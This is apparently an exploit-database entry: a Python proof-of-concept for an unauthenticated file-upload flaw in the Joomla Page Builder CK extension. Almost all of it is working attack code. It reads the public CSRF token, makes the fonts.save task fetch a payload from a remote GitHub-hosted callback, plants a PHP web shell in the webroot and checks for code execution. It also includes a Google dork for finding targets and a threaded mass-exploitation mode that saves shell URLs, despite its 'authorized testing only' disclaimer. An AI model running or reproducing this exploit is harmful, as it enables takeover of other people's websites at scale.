Joomla Page Builder CK 3.5.10 - Arbitrary File Upload

# Exploit Title: Joomla Page Builder CK  3.5.10 -  Arbitrary File Upload
# Google Dork: inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"
# Date: 2026-07-04
# Exploit Author: M@rAz Ali
# Credits: Peyman Siyahi, MR.PERSIA
# Vendor Homepage: https://www.joomlack.fr/
# Software Link: https://www.joomlack.fr/en/joomla-extensions/page-builder-ck
# Version: <= 3.5.10 (patched in 3.6.0)
# Tested on: Joomla 4.x / 5.x on Linux (Apache + PHP 8.x)
# CVE: CVE-2026-56290
#
# Description:
#   Page Builder CK (com_pagebuilderck) exposes an unauthenticated fonts.save task that
#   fetches remote assets and writes attacker-controlled PHP into the webroot under:
#       media/com_pagebuilderck/gfonts/
#   The only gate is a Joomla CSRF token, which is publicly readable on the homepage.
#
#   This PoC triggers fonts.save with a remote callback, then verifies remote code
#   execution by checking the uploaded shell response.
#
# Disclaimer:
#   For authorized security testing and education only. Do not use against systems
#   you do not own or lack explicit written permission to assess.

from __future__ import annotations

import argparse
import os
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

import requests
import urllib3

# Remote callback that serves font.css + payload chain (must host your own for testing).
CALLBACK = "https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main"
SHELL_PATH = "media/com_pagebuilderck/gfonts/fbi.php"
EXPECTED_TITLE = "Fbi Shell"

DEFAULT_THREADS = 20
DEFAULT_TIMEOUT = 12
HITS_FILE = Path(__file__).resolve().parent / "hits.txt"

TOKEN_PATTERNS = (
    r'"csrf\.token"\s*:\s*"([A-Za-z0-9_-]+)"',
    r"'csrf\.token'\s*:\s*'([A-Za-z0-9_-]+)'",
    r'name="([a-f0-9]{32})"\s+value="1"',
    r'value="1"\s+name="([a-f0-9]{32})"',
)

_PRINT_LOCK = threading.Lock()
_HITS_LOCK = threading.Lock()
_SAVED_HITS: set[str] = set()


def log(msg: str) -> None:
    with _PRINT_LOCK:
        print(msg, flush=True)


def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    return url.rstrip("/")


def extract_token(html: str) -> str | None:
    for pattern in TOKEN_PATTERNS:
        match = re.search(pattern, html, re.I)
        if match:
            return match.group(1)
    return None


def extract_title(html: str) -> str | None:
    match = re.search(r"<title[^>]*>([^<]+)</title>", html, re.I | re.S)
    if match:
        return match.group(1).strip()
    return None


def rce_confirmed(html: str) -> bool:
    title = extract_title(html)
    if title and EXPECTED_TITLE.lower() in title.lower():
        return True
    return EXPECTED_TITLE.lower() in html.lower()


def resolve_index_url(base: str, landing_url: str) -> str:
    path = requests.utils.urlparse(landing_url).path or "/"
    lang = re.match(r"^/index\.php/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
    if lang:
        return f"{base}/index.php/{lang.group(1)}"
    lang = re.match(r"^/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
    if lang and path.count("/") <= 2:
        return f"{base}/index.php/{lang.group(1)}"
    return f"{base}/index.php"


def save_hit(shell_url: str, *, output: Path) -> None:
    with _HITS_LOCK:
        if shell_url in _SAVED_HITS:
            return
        _SAVED_HITS.add(shell_url)
        with output.open("a", encoding="utf-8") as fh:
            fh.write(shell_url + "\n")
            fh.flush()
            os.fsync(fh.fileno())
    log(f"[+] SHELL URL SAVED -> {shell_url}")


def make_session(*, insecure: bool, timeout: float) -> requests.Session:
    session = requests.Session()
    session.verify = not insecure
    session.headers.update(
        {
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/124.0.0.0 Safari/537.36"
            ),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        }
    )
    session.request = _wrap_timeout(session.request, timeout)  # type: ignore[method-assign]
    return session


def _wrap_timeout(request_method, timeout: float):
    def wrapped(method, url, **kwargs):
        kwargs.setdefault("timeout", timeout)
        return request_method(method, url, **kwargs)

    return wrapped


def exploit(
    target: str,
    *,
    insecure: bool,
    timeout: float,
    verbose: bool,
) -> tuple[int, str, str | None]:
    """
    Returns (status, note, shell_url)
      0 = RCE confirmed
      2 = file written, PHP not executed
      1 = failed / not vulnerable
    """
    session = make_session(insecure=insecure, timeout=timeout)
    shell_url = f"{target}/{SHELL_PATH}"

    try:
        home = session.get(f"{target}/", allow_redirects=True)
    except requests.RequestException as exc:
        return 1, f"homepage failed: {exc}", None

    token = extract_token(home.text)
    if not token:
        return 1, "no CSRF token on homepage", None

    index_url = resolve_index_url(target, home.url)
    params = {"option": "com_pagebuilderck", "task": "fonts.save", token: "1"}
    data = {
        "local": "1",
        "fontvars": "regular",
        "fontname": "bb",
        "url": f"{CALLBACK}/font.css",
        token: "1",
    }

    try:
        save = session.post(
            index_url,
            params=params,
            data=data,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "Accept": "application/json,text/plain,*/*",
                "Origin": target,
                "Referer": home.url,
            },
        )
    except requests.RequestException as exc:
        return 1, f"fonts.save request failed: {exc}", shell_url

    if "ERROR_INVALID_CONTROLLER" in save.text:
        return 1, "component/controller not present", shell_url

    try:
        check = session.get(shell_url)
    except requests.RequestException as exc:
        return 1, f"shell verification failed: {exc}", shell_url

    body = check.text
    title = extract_title(body)

    if verbose:
        log(f"[*] Target     : {target}")
        log(f"[+] CSRF token : {token}")
        log(f"[+] Index URL  : {index_url}")
        log(f"[+] fonts.save : HTTP {save.status_code}")
        preview = save.text.strip().replace("\n", " ")[:200]
        if preview:
            log(f"[+] Response   : {preview!r}")
        log(f"[+] Shell path : {shell_url} (HTTP {check.status_code})")
        if title:
            log(f"[+] Shell title: {title!r}")

    if check.status_code == 200 and rce_confirmed(body):
        return 0, f"RCE confirmed (title: {title or EXPECTED_TITLE})", shell_url

    if check.status_code == 200 and "<?php" in body:
        return 2, "file written but PHP not executed", shell_url

    if check.status_code == 200 and title:
        return 1, f"not confirmed (title: {title!r})", shell_url

    return 1, f"not confirmed (HTTP {check.status_code})", shell_url


def run_single(target: str, *, insecure: bool, timeout: float) -> int:
    log(f"[*] Callback URL : {CALLBACK}")
    log(f"[*] Shell path   : {SHELL_PATH}")
    log(f"[*] RCE marker   : <title> contains {EXPECTED_TITLE!r}")
    code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=True)

    if code == 0 and shell_url:
        log(f"[+] EXPLOIT SUCCESS -> {shell_url}")
        return 0
    if code == 2:
        log(f"[!] PARTIAL: {note}")
        return 2

    log(f"[-] FAILED: {note}")
    return 1


def parse_target_line(line: str) -> str | None:
    line = line.split("#", 1)[0].strip()
    if not line:
        return None
    return normalize_url(line.split("|", 1)[0].split(",", 1)[0].strip())


def load_targets(path: Path) -> list[str]:
    if not path.is_file():
        raise FileNotFoundError(f"targets file not found: {path}")

    targets: list[str] = []
    seen: set[str] = set()
    for raw in path.read_text(encoding="utf-8").splitlines():
        url = parse_target_line(raw)
        if not url or url in seen:
            continue
        seen.add(url)
        targets.append(url)

    if not targets:
        raise ValueError(f"no targets in {path}")
    return targets


def run_mass(
    targets_path: Path,
    *,
    insecure: bool,
    timeout: float,
    threads: int,
    output: Path,
) -> int:
    targets = load_targets(targets_path)
    workers = max(1, min(threads, len(targets)))

    log(f"[*] Loaded {len(targets)} target(s) from {targets_path.name}")
    log(f"[*] Callback URL : {CALLBACK}")
    log(f"[*] Shell path   : {SHELL_PATH}")
    log(f"[*] Output file  : {output.name}")
    log(f"[*] Threads      : {workers} | Timeout: {timeout:g}s")
    print()

    confirmed = partial = failed = 0

    def work(index: int, target: str) -> tuple[str, int, str, str | None]:
        code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=False)
        if code == 0 and shell_url:
            save_hit(shell_url, output=output)
            log(f"[{index}/{len(targets)}] HIT  {target} -> {shell_url}")
            return target, code, note, shell_url
        if code == 2:
            log(f"[{index}/{len(targets)}] PART {target} -> {note}")
            return target, code, note, shell_url
        return target, code, note, shell_url

    with ThreadPoolExecutor(max_workers=workers) as pool:
        futures = {
            pool.submit(work, i, target): target
            for i, target in enumerate(targets, start=1)
        }
        for future in as_completed(futures):
            _target, code, _note, _shell = future.result()
            if code == 0:
                confirmed += 1
            elif code == 2:
                partial += 1
            else:
                failed += 1

    print()
    log(f"[*] Done | Hit: {confirmed} | Partial: {partial} | Miss: {failed}")
    if confirmed:
        log(f"[+] {confirmed} shell URL(s) saved to {output.name}")
    return 0 if confirmed else 1


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Joomla Page Builder CK <= 3.5.10 fonts.save unauthenticated RCE PoC"
    )
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Single target, e.g. https://lab.joomla.local")
    group.add_argument("-f", "--file", metavar="FILE", help="Target list (one URL per line)")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
    parser.add_argument(
        "--threads",
        type=int,
        default=DEFAULT_THREADS,
        help=f"Parallel workers for --file mode (default: {DEFAULT_THREADS})",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=DEFAULT_TIMEOUT,
        help=f"HTTP timeout in seconds (default: {DEFAULT_TIMEOUT})",
    )
    parser.add_argument(
        "--output",
        metavar="FILE",
        default=str(HITS_FILE),
        help=f"Save confirmed shell URLs (default: {HITS_FILE.name})",
    )
    args = parser.parse_args()

    if args.insecure:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.file:
        path = Path(args.file)
        if not path.is_absolute():
            path = (Path.cwd() / path).resolve()
        output = Path(args.output)
        if not output.is_absolute():
            output = (Path.cwd() / output).resolve()
        return run_mass(
            path,
            insecure=args.insecure,
            timeout=args.timeout,
            threads=args.threads,
            output=output,
        )

    return run_single(
        normalize_url(args.url),
        insecure=args.insecure,
        timeout=args.timeout,
    )


if __name__ == "__main__":
    raise SystemExit(main())